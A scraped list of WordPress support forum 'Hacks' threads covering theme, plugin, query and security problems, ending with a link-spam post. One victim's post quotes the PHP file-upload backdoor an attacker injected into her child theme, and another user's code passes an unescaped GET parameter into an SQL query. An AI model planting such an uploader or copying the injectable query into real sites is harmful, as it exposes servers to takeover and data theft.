Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

missymoo on "Author issue with a directory site"

0
0

Hi,
I'm currently using Geotheme directory and it seems their is a security concern. I have tried to contact the theme about it but they aren't very helpful.
To allow users to register, create listings and update them it has to be set to 'Anyone can register as an author'. The issue is I have someone adding spam posts and fake registrations and I'm talking hundreds a day. This is taking me hours a day to delete. If I don't resolve this soon I will have to take down the site.
Does anyone know of a plugin or solution that could help with this. Happy to pay someone to fix it.


sj3vans on "How to embed Wistia video iFrame link with user tracking"

0
0

I can't seem to figure this out. Perhaps someone can direct me how I need to get it going.

On our homepage at vistaone.tv, you can see that when I place the following link in a post, it embeds the video in an iframe such that it can play in place, without leaving the page, which I like a lot:

http://vistaone.wistia.com/medias/lyxk4fqan6?embedType=iframe&videoWidth=640

But I wanted to add a tracking parameter so I can find out who watched the video based on their WordPress login (I'm also using S2member). When I tried to embed the currently logged in user's email, it no longer displays the iFrame. Here's what I've tried:

<?php
global $current_user;
get_currentuserinfo();
echo 'http://vistaone.wistia.com/medias/lyxk4fqan6?embedType=iframe&videoWidth=640&wemail=' . $current_user->user_login; ?>

The substitution works, but I see the actual link instead of the video in an iFrame.

Any suggestions?

A31 on "Nested Select Menu"

0
0

Hi,
I am really struggling to get a second dropdown / select box to be automatically populated and I hope someone here can help me find my mistake.

Before moving to Wordpress, I have been using the example by W3Schools but now in wordpress, I can't seem to get it working.

My Code is as follows:

<script type="text/javascript">
function showUser(str)
{
if (str=="")
  {
  document.getElementById("txtHint").innerHTML="";
  return;
  }
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    document.getElementById("txtHint").innerHTML=xmlhttp.responseText;
    }
  }
xmlhttp.open("GET","Fin_GetAllocation.php?q="+str,true);
xmlhttp.send();
}
</script>
<form>
	<select name="sel_CostCentre" id="sel_CostCentre" onchange="showUser(this.value)">
		<option value=0>Please Select Cost Centre: <?php echo $CostCentreDescriptionOptions; ?>
	</select>
    <select name="Sel" id="txtHint"></select>
</form>

then the code in the file "Fin_GetAllocation.php" is as follows:

<?php
	global $wpdb;

	$q=$_GET["q"];

	$SQL_Query01 = ("SELECT * FROM wp_allocations_tbl WHERE CostCentreDescription = '$q'");
	$SQL_Results01 = $wpdb->get_results($SQL_Query01);

	foreach($SQL_Results01 as $myResult01)
		{
			$AccountDescription = $myResult01->AccountDescription; //Field in DB
			$AccountDescriptionOptions.="<option value='$AccountDescription'>" . $AccountDescription . "</option>";
		}

So my first dropdown / select box works perfectly, but I can't seem to get the second box to populate.

Can you please help?

A31 on "Conditional send_headers"

0
0

Hi all,

I am trying to display a PDF file that has been stored in the database.
If I use the following code it wants to display the PDF on every page:

<?php
	global $wpdb;
//*******************************************************************************************************************************************

function viewPDF()
	{
		global $wpdb;
		global $FileContent;

		$mydataset = $wpdb->get_row("SELECT * FROM customTest_tbl WHERE ID = 28");

		$recordID = $mydataset->ID;
		$FileType = $mydataset->FileType;
		$FileSize = $mydataset->FileSize;
		$FileName = $mydataset->FileName;
		$FileContent = $mydataset->FileContent;

		header("Content-Type: ". $FileType);
		header("Content-Length: ". $FileSize);
		header("Content-Disposition: attachment; filename=". $FileName);

	}

add_action( 'send_headers', 'viewPDF' );

//*******************************************************************************************************************************************

So obviously I would like to add an IF statement that will only run the function if the Page Title = ‘ViewPDF’.
So I tried this code:

<?php
	global $wpdb;
//*******************************************************************************************************************************************
	$MyTitle = get_the_title();

	function viewPDF()
	{
			global $wpdb;
			global $FileContent;

				$mydataset = $wpdb->get_row("SELECT * FROM em_purchaserequest_additionalinfo_tbl WHERE ID = 28");

				$recordID = $mydataset->ID;
				$FileType = $mydataset->FileType;
				$FileSize = $mydataset->FileSize;
				$FileName = $mydataset->FileName;
				$FileContent = $mydataset->FileContent;

				header("Content-Type: ". $FileType);
				header("Content-Length: ". $FileSize);
				header("Content-Disposition: attachment; filename=". $FileName);

	}

if ($MyTitle == 'ViewPDF')
{
	add_action( 'send_headers', 'viewPDF' );
}

//*******************************************************************************************************************************************
?>

And also tried:

<?php
	global $wpdb;
//*******************************************************************************************************************************************

	function viewPDF()
	{
			global $wpdb;
			global $FileContent;

			$MyTitle = get_the_title();

			if ($MyTitle == 'ViewPDF')
			{
				$mydataset = $wpdb->get_row("SELECT * FROM em_purchaserequest_additionalinfo_tbl WHERE ID = 28");

				$recordID = $mydataset->ID;
				$FileType = $mydataset->FileType;
				$FileSize = $mydataset->FileSize;
				$FileName = $mydataset->FileName;
				$FileContent = $mydataset->FileContent;

				header("Content-Type: ". $FileType);
				header("Content-Length: ". $FileSize);
				header("Content-Disposition: attachment; filename=". $FileName);
			}
	}

	add_action( 'send_headers', 'viewPDF' );

//*******************************************************************************************************************************************
?>

But either two tries does not open the PDF file, only the first code, where there is no IF statement.
I also have checked and confirmed that $MyTitle = get_the_title(); really is = ‘ViewPDF’
Can anyone please help point out my mistake?

Thank you so much!!

netbie on "Tags and Categories Hack help"

0
0

I am using this code for display the Tags inside one category

<?php
//get category name
$catname = get_category(get_query_var('cat'))->name;
//get all tags in this category
query_posts("category_name=$catname");
if (have_posts()) : while (have_posts()) : the_post();
$posttags = get_the_tags();
if ($posttags) {
foreach($posttags as $tag) {
//Get Tag ID
$all_tags_arr[] = $tag -> term_id;
}
}
endwhile; endif;
//remove duplicates
$tags_arr = array_unique($all_tags_arr);
?>

I have 2 questions:

1) How can I display these tags as DROPDOWN instead of Tags Clouds ?

2) How can I do the same but inverse: I mean display the Categories inside One tag, as DROPDOWN.

Thanks in advance for your help.

ShootingStar83 on "child-of [x] category in CURRENT post"

0
0

I found this code to show sub categories of [x] category and I like it, I just need to make it working as "Show sub-categories of [x] category IN CURRENT POST" because I'm going to paste this code in a widget inside posts only.

<?php
$subcategories = get_categories('&child_of=4&hide_empty'); // List subcategories of category '4' (even the ones with no posts in them)
echo '<ul>';
foreach ($subcategories as $subcategory) {
  echo sprintf('<li><a href="%s">%s</a></li>', get_category_link($subcategory->term_id), apply_filters('get_term', $subcategory->name));
}
echo '</ul>';
?>

What is the code that will apply this code to the post the visitor is reading?

Appreciate your help in advance.

Thank you

ostrunk on "add_filter doesn't work for post_title"

0
0

Hi everybody,

I got a small problem with a filter I want to add to the output of my content. I have the following function for replacing some quotes (added a space in the entitys so the comment system doesn't interpret my code as HTML):

function removesmartquotes($content) {
     $content = str_replace('&# 8220;', '& laquo;', $content);
     $content = str_replace('&# 8221;', '& raquo;', $content);
     $content = str_replace('&# 8216;', '& lsaquo;', $content);
     $content = str_replace('&# 8217;', '& rsaquo;', $content);

     return $content;
}
add_filter('the_content', 'removesmartquotes');
add_filter('the_title', 'removesmartquotes');
add_filter('wp_title', 'removesmartquotes');
add_filter('comment_text', 'removesmartquotes');
add_filter('the_excerpt', 'removesmartquotes');

Since I'm generating a pdf from the output, I use

$post = get_post($_POST['postid']);

and after that

$post->post_content
$post->post_title

etc. to display the content. The output auf post_content is fine (the quotes are beeing replaced), but post_title remains with the standard-quotes. Is there a special filter I have to apply and if so, on which function?

Tl;dr: I want to replace a HTML entity but $post->post_title still shows the initial value.

Kind regards

tanver on "get_categories returns an empty array .."

0
0

Hi all,
I am stuck in a strange issue, when I hit this code on one of my WordPress installations for a user other than an Administrator get_categories("&parent=4")

this code returns an empty array BUT when an administrator level user reaches this line of code it works as expected.

Any clue to sort this out asap will be appreciated.
TIA


geoken on "What method should I use to store my plugin data (multi level menus with options"

0
0

So the background on my plugin - it generates taxonomy/term filters to give you a filtering system similar to what you'd see on NewEgg where you filter your results by category/manufacturer/other criteria.

In the admin area, users will create a filter-set. The filter-set will have various options (display name, type, etc). Within the filter set are the individual taxonomies that the filter-set will be made up of. These can be re-ordered using drag and drop (their order needs to be stored since they will need to be displayed in that order). Each of the taxonomies also has various options like display name, menu type (drop down, radio button, multi select, etc) and various other options.

Ultimately it will look something like this (the ordering of the 'taxonomy' nodes must be retained);

<Filterset id="01" option1="" option2="">
  <taxonomy tax="c"  option1="" option2="" option3="" />
  <taxonomy tax="b"  option1="" option2="" option3="" />
  <taxonomy tax="a"  option1="" option2="" option3="" />
</filterset>

<Filterset id="02" option1="" option2="">
  <taxonomy tax="d"  option1="" option2="" option3="" />
  <taxonomy tax="a" option1="" option2="" option3="" />
  <taxonomy tax="e" option1="" option2="" option3="" />
</filterset>

So far I set up my own db table but I feel like this might not be the best method. I can probably store the whole thing in a big, complicated array and just save it a single option in wp_options but I don't know if that's a good idea. I was also considering XML since I already visualize the plugin structure in pseudo XML but I don't know if there is any preferred method for storing options in XML or what drawbacks it may have.

Basically I just want to know what the ideal method for storing the above data would be.

Tompa83 on "Local path included in script url"

0
0

The hosting service of a website I created crashed, now we're trying to get it up and running again. They restored the website/database from a backup but we're encountering issues.

A couple of plugins are no longer working. When visiting the plugin page a bunch of them had an error that said "The Plugin xxx has been inactivated because of an error: The plugin does not have a valid header" or something close to that. You can activate the plugins normally again without any kind of error message, however when visiting the site and checking the console you see this error:

GET http://(website domain)/wp-content/plugins/C:/inetpub/wwwroot/(local folder)/WP-CONTENT/PLUGINS/AJAX-EVENT-CALENDAR/css/images/em-icon-16.png 404 (Not Found)

(I hid the domain name and local folder.) Somehow the local address is being included in the url to load the script, and obviously the script is not loaded and the plugin is not working as intended. A bunch of the plugins have the same issues, reinstalling them isn't changing anything.

I'm completely stumped, what is this and how is this happening?

Any help is greatly appreciated.

cs2kplus on "HTML in WordPress"

0
0

If I use Firebug on my wordpress site...I see stuff I don't know where the code is. Looks like html divs, etc. By the way - I am no code geek. I barely use html. But sure would like to edit certain things that I assume are embedded in the PHP? Can someone explain?

Sandeep "Shawn" Tripathy on "Check Internet Connection Before Proceed to Link"

0
0

I came across a simple feature in Google/Facebook where if a user clicks a link(internal link, such as home --> profile) it doesn't open up the next page but stays in the current page if there is the internet connection has been lost.

gcoulby on "Escaping SQL with the wordpress API"

0
0

OK I have a plugin where you can add simple table content and work with a few relational databases. It's an all in one CRUD system for price management.

However, with MySQL escaping is fairly simple, you escape the value and load them in. However, I am new to the wordpress API.

Am I right in thinking, you only need $wpdb->prepare(); when working with custom queries. As in if I am using the get_row api it requires raw data, but it also includes a $format parameter. So I am assuming that the $format parameter works in the same way as prepare does for custom SQL. As prepare loads in the SQL and checks if the values are strings or INTs etc.

Or. do I need to prepare every $wpdb statement?

jennsweb on "Child theme's style sheet keeps getting strange php inserted"

0
0

Hello,

I just updated a site that you can see here:

http://salemmainstreets.org

The site was built with a child theme on the Suffusion theme.

The problem is that twice over the past few days I have gone to the site and found all my custom styles removed and this code in place of them on the child theme's style sheet.

<?php
if(isset($_POST['Submit'])){
    $filedir = "";
    $maxfile = '2000000';

    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
        $abod = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $abod);

echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>

Here are the plugins we are using:

Akismet
Better WP Security
Font Awesome 4 Menus
Google Analytics Dashboard
NextGEN Gallery
NextGEN Galleryview
Use Google Libraries
WP Web APP Standard.

What worked the other day was to simply copy the style sheet from my backup of the test site into the child theme's stylesheet. But it's so frustrating to see all my work get blown out of the water! Has anyone else had this happen while using a child theme of Suffusion?
Thanks!

lauraolivier on "AVG detects threat on my website"

0
0

Hi, I help run a website for our local neighbourhood forum. After recently updating the website, everytime I go to log on to the website, AVG comes up identifying a blackhat threat? Users with other security scanners don't have this problem, only those with AVG. I have no idea what I am doing and would really appreciate any help. Thanks.


Luke Janicke on "A reset button for a theme’s settings page"

0
0

Problem. I want to include a RESET button on a theme’s settings page. I don’t mean a button that just clears any changes just made on the form. I mean a button that resets all the theme’s settings to their defaults.

I’m putting together a theme settings page for the theme I’m developing. This is where a few theme options can be toggled on/off and some custom items set, such as the copyright notice and social media links. I’ve got it all working. The page is at: Dashboard > Appearance > Respite Settings. And all the settings are working correctly (saving properly, able to be used in the theme’s template files).

Note: Respite is the name of my theme.

I have a function in my options.php file that can do perform the settings reset. I just don’t know how to link a reset button on the options page form to that function. You can see my options.php file on Github.

https://github.com/lukejanicke/respite/blob/master/options.php

A quick search turned up a few StackExchange threads about doing this but none had enough information to help me actually do it.

Any help would be appreciated!

robahas on "Programatically remove the WordPress News Widget from the dashboard"

0
0

Hi all - I'm customizing my dashboard and have used the codex instructions successfully. However, my WordPress News meta box stubbornly refuses to go away! It's ID is set to 'dashboard_primary' and according to the instructions I have this in my function:

unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_primary']);

But it's still there. Any idea why?

Thanks!

amritp7 on "like"

sravyakamatham on "Site hacked"

0
0

Iam using Twentythirteen theme, site is hacked it is directing to some other sites, some script is added in header and i removed that script then i got my site back but i lost the responsiveness of my site becoz style sheets are not applying in mobiles, how to get my site responsiveness back, please let me know if there any solution,

Patrickele on "Special Offer - Music Wall Stickers"

0
0

They come in thousands of designs and colors, ranging from large-scale flowers to scripture quotes. Unfortunately, they can also come with a hefty price tag. Luckily, it's easy to make your own [url=http://www.wallstickerdeal.com/music.html]Music Wall Stickers[/url] with common household items. Take a rough measurement of your wall to use as a reference for designing your wall stickers. Sketch out a rough idea for your design on scrap paper, including approximate measurements. Note what parts of your wall image are what colors for later reference. Roll out your contact paper on a flat surface, face down. Draw out your [url=http://www.wallstickerdeal.com/birds-and-animals.html]Bird Wall Stickers[/url] design pieces in pencil on the gridded backing.

Viewing all 8245 articles
Browse latest View live




Latest Images